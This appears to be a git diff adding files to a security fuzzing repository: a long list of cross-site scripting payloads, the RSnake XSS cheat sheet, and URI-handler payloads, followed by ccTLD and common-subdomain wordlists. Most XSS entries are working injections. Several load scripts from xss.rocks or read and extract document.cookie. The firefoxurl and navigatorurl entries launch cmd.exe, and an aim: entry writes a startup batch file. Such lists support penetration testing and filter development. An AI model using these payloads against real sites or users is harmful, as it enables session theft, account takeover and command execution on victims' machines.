<iframe src=http://xss.rocks/scriptlet.html <
|
||||
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
|
||||
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
|
||||
<iframe/onreadystatechange=alert(1)
|
||||
<iframe/src \/\/onload = prompt(1)
|
||||
<IMG DYNSRC=\"javascript:alert('XSS')\">
|
||||
<IMG onmouseover="alert('xxs')">
|
||||
<img src ?itworksonchrome?\/onerror = alert(1)???
|
||||
<IMG SRC= onmouseover="alert('xxs')">
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||||
<IMG SRC="jav	ascript:alert('XSS');">
|
||||
<IMG SRC="jav&#x09;ascript:alert('XSS');">
|
||||
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
|
||||
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
|
||||
<IMG SRC="javascript:alert('XSS')"
|
||||
<img src="javascript:alert('XSS')">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<img src=`xx:xx`onerror=alert(1)>
|
||||
<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #
|
||||
<IMG SRC=java%00script:alert(\"XSS\")>
|
||||
<img src=x onerror="javascript:alert('XSS')">
|
||||
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>
|
||||
<input value=<><iframe/src=javascript:confirm(1)
|
||||
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
|
||||
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
|
||||
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
|
||||
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
|
||||
<object data=javascript:\u0061le%72t(1)>
|
||||
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
|
||||
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
|
||||
<script itworksinallbrowsers>/*<script* */alert(1)</script ?
|
||||
<script src="data:text/javascript,alert(1)"></script>
|
||||
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
|
||||
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
|
||||
<script x> alert(1) </script 1=2
|
||||
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
|
||||
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
|
||||
<script/src=data:text/javascript,alert(1)></script> ?
|
||||
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ????????????
|
||||
<SCRIPT\s" != "<SCRIPT/XSS\s';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
|
||||
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
|
||||
<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
|
||||
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
|
||||
<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
|
||||
<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
|
||||
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
|
||||
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>
|
||||
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
|
||||
<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>
|
||||
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>
|
||||
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#
|
||||
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
|
||||
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
|
||||
<script>+-+-1-+-+alert(1)</script>
|
||||
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<script>alert(document.head.childNodes[3].text)</script>
|
||||
<script>alert(document.head.innerHTML.substr(146,20));</script>
|
||||
<script>alert('XSS');</script>
|
||||
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
|
||||
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
|
||||
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>
|
||||
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
|
||||
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
|
||||
'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
|
||||
<svg contentScriptType=text/vbs><script>MsgBox+1
|
||||
<svg/onload=alert(1)
|
||||
<svg><script ?>alert(1)
|
||||
<svg><script onlypossibleinopera:-)> alert(1)
|
||||
<svg><script>//
confirm(1);</script </svg>
|
||||
<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>
|
||||
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
|
||||
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<var onmouseover="prompt(1)">On Mouse Over</var>?
|
||||
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
|
||||
alert
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert\\`1\\`
|
||||
alert`1`
|
||||
<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
|
||||
http://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/attack/xss/test.xxe
|
||||
http://www.<script>alert(1)</script .com
|
||||
https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/attack/xss/test.xxe
|
||||
javascript:alert%28/xss/%29
|
||||
javascript:alert(1)
|
||||
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
|
||||
x”</title><img src%3dx onerror%3dalert(1)>
|
||||
78
attack/xss/xss-rsnake.txt
Normal file
78
attack/xss/xss-rsnake.txt
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
SRC=
<IMG 6;avascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC="jav ascript:alert('XSS');">
|
||||
<IMG SRC="jav	ascript:alert('XSS');">
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
|
||||
<IMG SRC=java%00script:alert(\"XSS\")>
|
||||
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>
|
||||
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
|
||||
<SCRIPT SRC=http://xss.rocks/xss.js?<B>
|
||||
<IMG SRC="javascript:alert('XSS')"
|
||||
<SCRIPT>a=/XSS/
|
||||
\";alert('XSS');//
|
||||
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||
<BODY BACKGROUND="javascript:alert('XSS')">
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
<IMG DYNSRC="javascript:alert('XSS')">
|
||||
<IMG LOWSRC="javascript:alert('XSS')">
|
||||
<BGSOUND SRC="javascript:alert('XSS');">
|
||||
<BR SIZE="&{alert('XSS')}">
|
||||
<LAYER SRC="http://xss.rocks/scriptlet.html"></LAYER>
|
||||
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
|
||||
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
|
||||
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
|
||||
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
|
||||
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
|
||||
<IMG SRC='vbscript:msgbox("XSS")'>
|
||||
<IMG SRC="mocha:[code]">
|
||||
<IMG SRC="livescript:[code]">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="width: expression(alert('XSS'));">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||
exp/*<XSS STYLE='no\xss:noxss("*//*");
|
||||
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
|
||||
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
|
||||
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||
<BASE HREF="javascript:alert('XSS');//">
|
||||
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
|
||||
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
|
||||
getURL("javascript:alert('XSS')")
|
||||
a="get";
|
||||
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
|
||||
<XML SRC="http:/xss.rocks/xsstest.xml" ID=I></XML>
|
||||
<HTML><BODY>
|
||||
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
|
||||
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.rocks/xss.js></SCRIPT>'"-->
|
||||
<? echo('<SCR)';
|
||||
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
||||
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">" '' SRC="http://xss.rocks/xss.js"></SCRIPT>
|
||||
<SCRIPT "a='>'" SRC="http://xss.rocks/xss.js"></SCRIPT>
|
||||
<SCRIPT a=`>` SRC="http://xss.rocks/xss.js"></SCRIPT>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="xss.rocks/xss.js"></SCRIPT>
|
||||
|
||||
|
||||
6
attack/xss/xss-uri.txt
Normal file
6
attack/xss/xss-uri.txt
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
|
||||
firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"
|
||||
navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
|
||||
res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
|
||||
firefoxurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
|
||||
navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
|
||||
2463
discovery/UserAgent/UserAgents.txt
Normal file
2463
discovery/UserAgent/UserAgents.txt
Normal file
File diff suppressed because it is too large
Load diff
257
discovery/dns/CcTLD.txt
Normal file
257
discovery/dns/CcTLD.txt
Normal file
|
|
@ -0,0 +1,257 @@
|
|||
ac
|
||||
ad
|
||||
ae
|
||||
af
|
||||
ag
|
||||
ai
|
||||
al
|
||||
am
|
||||
an
|
||||
ao
|
||||
aq
|
||||
ar
|
||||
as
|
||||
at
|
||||
au
|
||||
aw
|
||||
ax
|
||||
az
|
||||
ba
|
||||
bb
|
||||
bd
|
||||
be
|
||||
bf
|
||||
bg
|
||||
bh
|
||||
bi
|
||||
bj
|
||||
bl
|
||||
bm
|
||||
bn
|
||||
bo
|
||||
bq
|
||||
br
|
||||
bs
|
||||
bt
|
||||
bv
|
||||
bw
|
||||
by
|
||||
bz
|
||||
ca
|
||||
cc
|
||||
cd
|
||||
cf
|
||||
cg
|
||||
ch
|
||||
ci
|
||||
ck
|
||||
cl
|
||||
cm
|
||||
cn
|
||||
co
|
||||
cr
|
||||
cu
|
||||
cv
|
||||
cw
|
||||
cx
|
||||
cy
|
||||
cz
|
||||
dd
|
||||
de
|
||||
dj
|
||||
dk
|
||||
dm
|
||||
do
|
||||
dz
|
||||
ec
|
||||
ee
|
||||
eg
|
||||
eh
|
||||
er
|
||||
es
|
||||
et
|
||||
eu
|
||||
fi
|
||||
fj
|
||||
fk
|
||||
fm
|
||||
fo
|
||||
fr
|
||||
ga
|
||||
gb
|
||||
gd
|
||||
ge
|
||||
gf
|
||||
gg
|
||||
gh
|
||||
gi
|
||||
gl
|
||||
gm
|
||||
gn
|
||||
gp
|
||||
gq
|
||||
gr
|
||||
gs
|
||||
gt
|
||||
gu
|
||||
gw
|
||||
gy
|
||||
hk
|
||||
hm
|
||||
hn
|
||||
hr
|
||||
ht
|
||||
hu
|
||||
id
|
||||
ie
|
||||
il
|
||||
im
|
||||
in
|
||||
io
|
||||
iq
|
||||
ir
|
||||
is
|
||||
it
|
||||
je
|
||||
jm
|
||||
jo
|
||||
jp
|
||||
ke
|
||||
kg
|
||||
kh
|
||||
ki
|
||||
km
|
||||
kn
|
||||
kp
|
||||
kr
|
||||
kw
|
||||
ky
|
||||
kz
|
||||
la
|
||||
lb
|
||||
lc
|
||||
li
|
||||
lk
|
||||
lr
|
||||
ls
|
||||
lt
|
||||
lu
|
||||
lv
|
||||
ly
|
||||
ma
|
||||
mc
|
||||
md
|
||||
me
|
||||
mf
|
||||
mg
|
||||
mh
|
||||
mk
|
||||
ml
|
||||
mm
|
||||
mn
|
||||
mo
|
||||
mp
|
||||
mq
|
||||
mr
|
||||
ms
|
||||
mt
|
||||
mu
|
||||
mv
|
||||
mw
|
||||
mx
|
||||
my
|
||||
mz
|
||||
na
|
||||
nc
|
||||
ne
|
||||
nf
|
||||
ng
|
||||
ni
|
||||
nl
|
||||
no
|
||||
np
|
||||
nr
|
||||
nu
|
||||
nz
|
||||
om
|
||||
pa
|
||||
pe
|
||||
pf
|
||||
pg
|
||||
ph
|
||||
pk
|
||||
pl
|
||||
pm
|
||||
pn
|
||||
pr
|
||||
ps
|
||||
pt
|
||||
pw
|
||||
py
|
||||
qa
|
||||
re
|
||||
ro
|
||||
rs
|
||||
ru
|
||||
rw
|
||||
sa
|
||||
sb
|
||||
sc
|
||||
sd
|
||||
se
|
||||
sg
|
||||
sh
|
||||
si
|
||||
sj
|
||||
sk
|
||||
sl
|
||||
sm
|
||||
sn
|
||||
so
|
||||
sr
|
||||
ss
|
||||
st
|
||||
su
|
||||
sv
|
||||
sx
|
||||
sy
|
||||
sz
|
||||
tc
|
||||
td
|
||||
tf
|
||||
tg
|
||||
th
|
||||
tj
|
||||
tk
|
||||
tl
|
||||
tm
|
||||
tn
|
||||
to
|
||||
tp
|
||||
tr
|
||||
tt
|
||||
tv
|
||||
tw
|
||||
tz
|
||||
ua
|
||||
ug
|
||||
uk
|
||||
um
|
||||
us
|
||||
uy
|
||||
uz
|
||||
va
|
||||
vc
|
||||
ve
|
||||
vg
|
||||
vi
|
||||
vn
|
||||
vu
|
||||
wf
|
||||
ws
|
||||
ye
|
||||
yt
|
||||
yu
|
||||
za
|
||||
zm
|
||||
zw
|
||||
50000
discovery/dns/alexaTop1mAXFRcommonSubdomains.txt
Normal file
50000
discovery/dns/alexaTop1mAXFRcommonSubdomains.txt
Normal file
File diff suppressed because it is too large
Load diff
989
discovery/dns/dnsmapCommonSubdomains.txt
Normal file
989
discovery/dns/dnsmapCommonSubdomains.txt
Normal file
|
|
@ -0,0 +1,989 @@
|
|||
a
|
||||
aa
|
||||
ab
|
||||
ac
|
||||
access
|
||||
accounting
|
||||
accounts
|
||||
ad
|
||||
admin
|
||||
administrator
|
||||
ae
|
||||
af
|
||||
ag
|
||||
ah
|
||||
ai
|
||||
aix
|
||||
aj
|
||||
ak
|
||||
al
|
||||
am
|
||||
an
|
||||
ao
|
||||
ap
|
||||
apollo
|
||||
aq
|
||||
ar
|
||||
archivos
|
||||
as
|
||||
at
|
||||
au
|
||||
aula
|
||||
aulas
|
||||
av
|
||||
aw
|
||||
ax
|
||||
ay
|
||||
ayuda
|
||||
az
|
||||
b
|
||||
ba
|
||||
backup
|
||||
backups
|
||||
bart
|
||||
bb
|
||||
bc
|
||||
bd
|
||||
be
|
||||
beta
|
||||
bf
|
||||
bg
|
||||
bh
|
||||
bi
|
||||
biblioteca
|
||||
billing
|
||||
bj
|
||||
bk
|
||||
bl
|
||||
blackboard
|
||||
blog
|
||||
blogs
|
||||
bm
|
||||
bn
|
||||
bo
|
||||
bp
|
||||
bq
|
||||
br
|
||||
bs
|
||||
bsd
|
||||
bt
|
||||
bu
|
||||
bv
|
||||
bw
|
||||
bx
|
||||
by
|
||||
bz
|
||||
c
|
||||
ca
|
||||
carro
|
||||
cart
|
||||
cas
|
||||
catalog
|
||||
catalogo
|
||||
catalogue
|
||||
cb
|
||||
cc
|
||||
cd
|
||||
ce
|
||||
cf
|
||||
cg
|
||||
ch
|
||||
chat
|
||||
chimera
|
||||
chronos
|
||||
ci
|
||||
citrix
|
||||
cj
|
||||
ck
|
||||
cl
|
||||
classroom
|
||||
clientes
|
||||
clients
|
||||
cm
|
||||
cn
|
||||
co
|
||||
connect
|
||||
controller
|
||||
correoweb
|
||||
cp
|
||||
cpanel
|
||||
cq
|
||||
cr
|
||||
cs
|
||||
csg
|
||||
ct
|
||||
cu
|
||||
customers
|
||||
cv
|
||||
cw
|
||||
cx
|
||||
cy
|
||||
cz
|
||||
d
|
||||
da
|
||||
data
|
||||
db
|
||||
dbs
|
||||
dc
|
||||
dd
|
||||
de
|
||||
demo
|
||||
demon
|
||||
demostration
|
||||
descargas
|
||||
developers
|
||||
development
|
||||
df
|
||||
dg
|
||||
dh
|
||||
di
|
||||
diana
|
||||
directory
|
||||
dj
|
||||
dk
|
||||
dl
|
||||
dm
|
||||
dmz
|
||||
dn
|
||||
do
|
||||
domain
|
||||
domaincontroller
|
||||
domain-controller
|
||||
download
|
||||
downloads
|
||||
dp
|
||||
dq
|
||||
dr
|
||||
ds
|
||||
dt
|
||||
du
|
||||
dv
|
||||
dw
|
||||
dx
|
||||
dy
|
||||
dz
|
||||
e
|
||||
ea
|
||||
eaccess
|
||||
eb
|
||||
ec
|
||||
ed
|
||||
ee
|
||||
ef
|
||||
eg
|
||||
eh
|
||||
ei
|
||||
ej
|
||||
ejemplo
|
||||
ejemplos
|
||||
ek
|
||||
el
|
||||
em
|
||||
email
|
||||
en
|
||||
enrutador
|
||||
eo
|
||||
ep
|
||||
eq
|
||||
er
|
||||
es
|
||||
et
|
||||
eu
|
||||
ev
|
||||
eventos
|
||||
events
|
||||
ew
|
||||
ex
|
||||
example
|
||||
examples
|
||||
exchange
|
||||
extranet
|
||||
ey
|
||||
ez
|
||||
f
|
||||
fa
|
||||
fb
|
||||
fc
|
||||
fd
|
||||
fe
|
||||
ff
|
||||
fg
|
||||
fh
|
||||
fi
|
||||
files
|
||||
finance
|
||||
firewall
|
||||
fj
|
||||
fk
|
||||
fl
|
||||
fm
|
||||
fn
|
||||
fo
|
||||
foro
|
||||
foros
|
||||
forum
|
||||
forums
|
||||
fp
|
||||
fq
|
||||
fr
|
||||
freebsd
|
||||
fs
|
||||
ft
|
||||
ftp
|
||||
ftpd
|
||||
fu
|
||||
fv
|
||||
fw
|
||||
fx
|
||||
fy
|
||||
fz
|
||||
g
|
||||
ga
|
||||
galeria
|
||||
gallery
|
||||
gateway
|
||||
gb
|
||||
gc
|
||||
gd
|
||||
ge
|
||||
gf
|
||||
gg
|
||||
gh
|
||||
gi
|
||||
gilford
|
||||
gj
|
||||
gk
|
||||
gl
|
||||
gm
|
||||
gn
|
||||
go
|
||||
gp
|
||||
gq
|
||||
gr
|
||||
groups
|
||||
groupwise
|
||||
gs
|
||||
gt
|
||||
